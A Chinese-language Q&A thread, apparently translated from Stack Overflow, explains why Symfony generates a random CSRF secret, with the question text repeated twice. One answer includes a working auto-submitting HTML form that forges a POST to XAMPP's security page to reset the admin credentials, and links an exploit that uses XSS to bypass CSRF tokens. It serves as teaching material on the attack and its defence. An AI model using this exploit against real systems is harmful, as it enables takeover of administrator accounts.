为了防止 CSRF 攻击,随机生成了一个 CSRF 秘密。
以上来自symfony: http ://www.symfony-project.org/getting-started/1_4/en/04-Project-Setup
既然最终是用户操作的,也就是所谓的代理攻击,设置那个秘密怎么办?
为了防止 CSRF 攻击,随机生成了一个 CSRF 秘密。
以上来自symfony: http ://www.symfony-project.org/getting-started/1_4/en/04-Project-Setup
既然最终是用户操作的,也就是所谓的代理攻击,设置那个秘密怎么办?
OWASP(开放网络应用程序安全项目)对 CSRF 有很好的解释,我鼓励您阅读它并在之后发布您的问题。
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
如果您正在寻找有关如何防止 CSRF 的示例实现,请查看 Django 及其文章。 http://docs.djangoproject.com/en/dev/ref/contrib/csrf/
CSRF 或 XSRF 代表跨站点请求伪造。这个想法是,当受害者执行黑客创建的 html 或 javascript 时,攻击者正在“伪造”一个 HTTP 请求。这是我针对 XAMPP 编写的 CSRF 漏洞利用示例。这个想法是这个 html/js 正在构建一个 POST 请求,该请求“骑”在已经存在的会话上。CSRF 漏洞利用必须由当前登录的 XAMPP 管理员的浏览器执行。
<html>
<form action='http://127.0.0.1/security/xamppsecurity.php' method='POST' id=1>
<input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
<input type=hidden name="xamppuser" value=admin >
<input type=hidden name="xampppasswd" value=password>
<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
<input type=submit>
</form>
</html>
<script>
document.getElementById(1).submit();
</script>
为了做到这一点,黑客必须提前知道很多关于请求的信息,最重要的是目标服务器和所有变量。黑客不需要知道会话 ID 或“basic-auth”标头,这是由浏览器自动提供的。如果您添加一个随机生成的秘密,那么除非黑客知道该值,否则无法伪造请求。这就像为您发送到服务器的每个请求设置一个密码。黑客可以使用XSS获取此令牌值。这是一个更复杂的攻击,但这里有一个利用 XSS 绕过基于令牌的 CSRF 保护的漏洞:http: //www.milw0rm.com/exploits/7922
尝试从 cgisecurity ( http://www.cgisecurity.com/csrf-faq.html ) 阅读 CSRF FAQ。当您对澄清常见问题有疑问时,我们很乐意澄清。
编辑:引用之前链接的 CSRF FAQ,讨论随机秘密的部分:
我可以做些什么来保护我自己的应用程序?
防止 CSRF 最流行的建议是在每个请求中附加挑战令牌。重要的是要声明这个质询令牌必须与用户会话相关联,否则攻击者可能能够自己获取有效令牌并在攻击中使用它。除了绑定到用户会话之外,限制令牌有效的时间周期也很重要。此方法记录在多个文档中,但正如邮件列表中指出的那样,攻击者可以利用现有的浏览器漏洞或 XSS 漏洞来获取此会话令牌。
Symfony 中的 CSRF 秘密在这里得到了很好的解释:http: //www.nacho-martin.com/csrf-tokens-in-symfony